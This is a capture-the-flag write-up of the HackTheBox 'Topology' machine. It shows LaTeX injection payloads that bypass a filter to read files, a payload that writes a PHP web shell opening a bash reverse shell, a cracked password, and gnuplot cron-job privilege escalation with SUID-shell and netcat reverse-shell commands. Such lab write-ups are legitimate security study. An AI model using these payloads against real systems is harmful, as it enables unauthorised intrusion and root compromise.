HackTheBox: Topology


When I get this, I'll have completed ALL of the current live easy boxes. [[Keeper]] just released today and I already got it; that was by far the easiest box Ive done on here.

This one may take a long time because Im not going to touch it during the week if I dont finish this weekend. I need to spend the time during the week on more time-efficient studies and practice.


Two ports: 1) SSH on 22 2) HTTP on 80

Script scan shows it appears to be running Ubuntu. The web page is for "Miskatonic University" in the "Topology group". It is Apache.

Exploring the website

The site is a basic faculty page for the topology group of the university. There's really not much on it except a link to a "LaTeX equation generator" tool that "creates .PNGs of LaTeX equations in your browser".

Clicking this link redirects to latex.topology.htb, which I added to /etc/hosts

This page has an input field prompting you to input LaTeX code and it will generate an image of the equations. Maybe it's vulnerable to command injection...

Actually, there's such thing as "LaTeX injection" that uses native LaTeX. For example,


I tried this, and the image output just says "Illegal command detected. Sorry."

Im going down the list of latex injection examples in the link here https://salmonsec.com/cheatsheets/exploitation/latex_injection and found that the input


produces an error message:

The image "http://latex.topology.htb/equation.php?eqn=%5Copenout%5Coutfile%3Dcmd.tex&submit=" cannot be displayed because it contains errors.

This appears to happen when you input invalid latex code, so it might not mean anything.

So how is it detecting commands? Is it just a whitelist? Maybe fuck with capitalization to fool it?

Nope, still catches it with mixed caps.

Im just trying everything from a Hacktricks latex injection list. This one works:


in the sense that a blank image appears

Successful read!

I got the first line of /etc/passwd using the following block of code from hacktricks (you submit the entire thing at once, not a line at a time):

\read\file to\line

This only works for a single line though; it terminates at the newline char.

You can force it to print more lines by just copy+pasting lines 3 and 4 in again for each line you want to read. Ie, to print the first two lines of /etc/passwd I did

\read\file to\line
\read\file to\line

and it worked. Now I just need to do this a few more times.

Alternatively you can omit the \text{\line} part until the end and only print the nth line. Eg,

\read\file to\line
\read\file to\line

this only prints the second line.

I can use this method to enumerate the entire /etc/passwd file.

Well, unfortunately I cant, because I get an error "Input too long. Sorry" when I exceed more then a few line read commands.

The issue is that the system filters the \loop command out as illegal code. Otherwise that would be the way to do it

**Illegal commands:


**While Im fucking with the injection, Ill have Gobuster running on topology and the latex subdomain * it actually found a subdir on latex.topology.htb called /demo/, which I can access. It apparently has directory listing enabled.

Whatever blacklisting method theyre using is case insensitive, though LaTeX itself is case-sensitive. So it will catch commands that would not have run anyway due to being the wrong case.

Found texmf.cnf

With some educated guesswork it looks like we've found the texmf.cnf LaTeX config file, at


Even if you cant read a full file due to input length limitations, you can verify if a file exists by whether or not it loads.

**Despite the images generated by the web page being .png, their exifdata shows "Pdf Version", which indicates that they might actually be running pdflatex.

pdflatex is already installed in my kali system for whatever reason. I guess it comes with it? I can do some experiments on my own system to see what I can do with it.

My guess is theyre just running a script to grep the user input for blacklisted words, and if it clears, they pipe it into pdflatex, and then into Imagemagick or similar to convert pdf to png. Like so:

pdflatex file
convert -density 300 file.pdf -quality 90 file.png

Scouring for useful files

Maybe I can trick a censor? Let's see if it has any of the usual measures against directory traversal, like removing "../". If it does I can potentially use that to execute illegal commands... doesnt seem like it.



Holy shit, I don't know if I ever would have figured that out myself. I had to take a hint from the forum here. But I understand how to bypass the blacklist now...

For example, this works:

\catcode`\|=0 |newread|f|openin|f=/etc/passwd|read|f to|l|read|f to|l|read|f to|l|read|f to|l|read|f to|l|read|f to|l|read|f to|l|read|f to|l|text{|l}|closein|f

File write PoC

\catcode95=12\catcode124=0 |newwrite\out \openout\out=cmd.tex |write\out{Hello-world} \closeout\out \newread\file \openin\file=cmd.tex \read\file to\line \text{\line} \closein\file

This was a HARD fought battle. Holy fuck. Coming in JUST under the word limit.

It appears that I cant loop any file reads for some reason, nor can I include entire files. It might be a directory traversal thing, im not sure... maybe some functions (like \write or \include) dont allow you to use "../", but read does.

It also doesnt seem to let you read files with the .php extension. Weirdly enough though, you can write them and input them...

Okay... so "include" is off limits, but "input" works:

\catcode95=12\catcode124=0 |newwrite\out \openout\out=cmd.tex |write\out{Hello-world} \closeout\out |input{cmd.tex}

Oh for fucks sake....

The latex subdomain doesnt have an index, so if you just navigte to \


you get a directory listing of the whole site. Turns out the directory its writing to is called "tempfiles/"... given that, I should be able to write a php file and navigate to it

FINALLY got a shell

Listen on 1234 and run:

\catcode38=12\catcode37=12\catcode43=0 +newwrite+outfile +openout+outfile=shell.php +write+outfile{<?php exec("/bin/bash -c 'bash -i > /dev/tcp/ 0>&1'");} +closeout+outfile

holy fuck, that was brutal

Exploring the system

We are www-data, as expected.

The only other user I see in /etc/passwd and /home is vdaisley:

vdaisley:x:1007:1007:Vajramani Daisley,W2 1-123,,:/home/vdaisley:/bin/bash

Someone else on the forum mentioned the significance of the .htpasswd file, and Ive been doing this fucking box all god damned day, so im just going to take the hint and read it.

Sweet, got a hash for vdaisley:


John cracked this damn quick:

calculus20       (vdaisley)     

And do we get a shell in SSH?


Yes we do. Thank god. Lets get the user flag and some beer

Priv esc

Every minute, root runs gnuplot to generate png file representing the network load and saves it to /var/www/stats/files

Oh... they fucked up the permissions on /opt/gnuplot...

vdaisley@topology:/dev/shm/.shn$ ls -al /opt
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Jun 14 07:45 gnuplot

That's significant, because the cronjob that runs as root every minute is

/bin/sh /opt/gnuplot/getdata.sh

See the issue? Despite not being able to READ the gnuplot directory, I can WRITE to it; I verified this by creating a new file in it named 'test.'

Can I overwrite the getdata.sh function?


Abusing gnuplot for priv esc

This is technically cheating since the post Im about to reference came out after the box did (and was obviously written BECAUSE OF the box), but at this point I dont give a fuck, I just want to wrap this up.

It's actually dead simple. "gnuplot" (which runs as root) runs files with the .plt extension, whose syntax allows you to make system commands by using the directive system.

Because I can write in the gnuplot directory, I can create a malicious .plt file in there which will be executed every minute by gnuplot run by root.

Here's what I wrote, as /opt/gnuplot/makemeroot.plt:

system "cp /bin/sh /dev/shm/.shn/sh; chmod +s /dev/shm/.shn/sh"

Then I just wait till the minute rolls over, and I see:

vdaisley@topology:/dev/shm/.shn$ ls -al
total 4288
drwxrwxr-x 2 vdaisley vdaisley     180 Aug 13 23:24 .
drwxrwxrwt 3 root     root          60 Aug 13 22:22 ..
-rwsr-sr-x 1 root     root     1183448 Aug 13 23:28 sh

Beautiful... a sh SUID.

Weirdly, I had no luck abusing this to get a root shell, even with the "-p" flag to keep privilege.

Oh well. Easy enough to work around, Ill just make a root reverse shell. I overwrote the plt file with

system "nc -e /bin/bash 1234"

and then wait...

What the fuck? Nothing with that either. Okay, I've still got another trick up my sleeve here...

system "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"

Ha... Gotcha...

$ nc -nlvp 1234            
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 36116
/bin/sh: 0: can't access tty; job control turned off
# whoami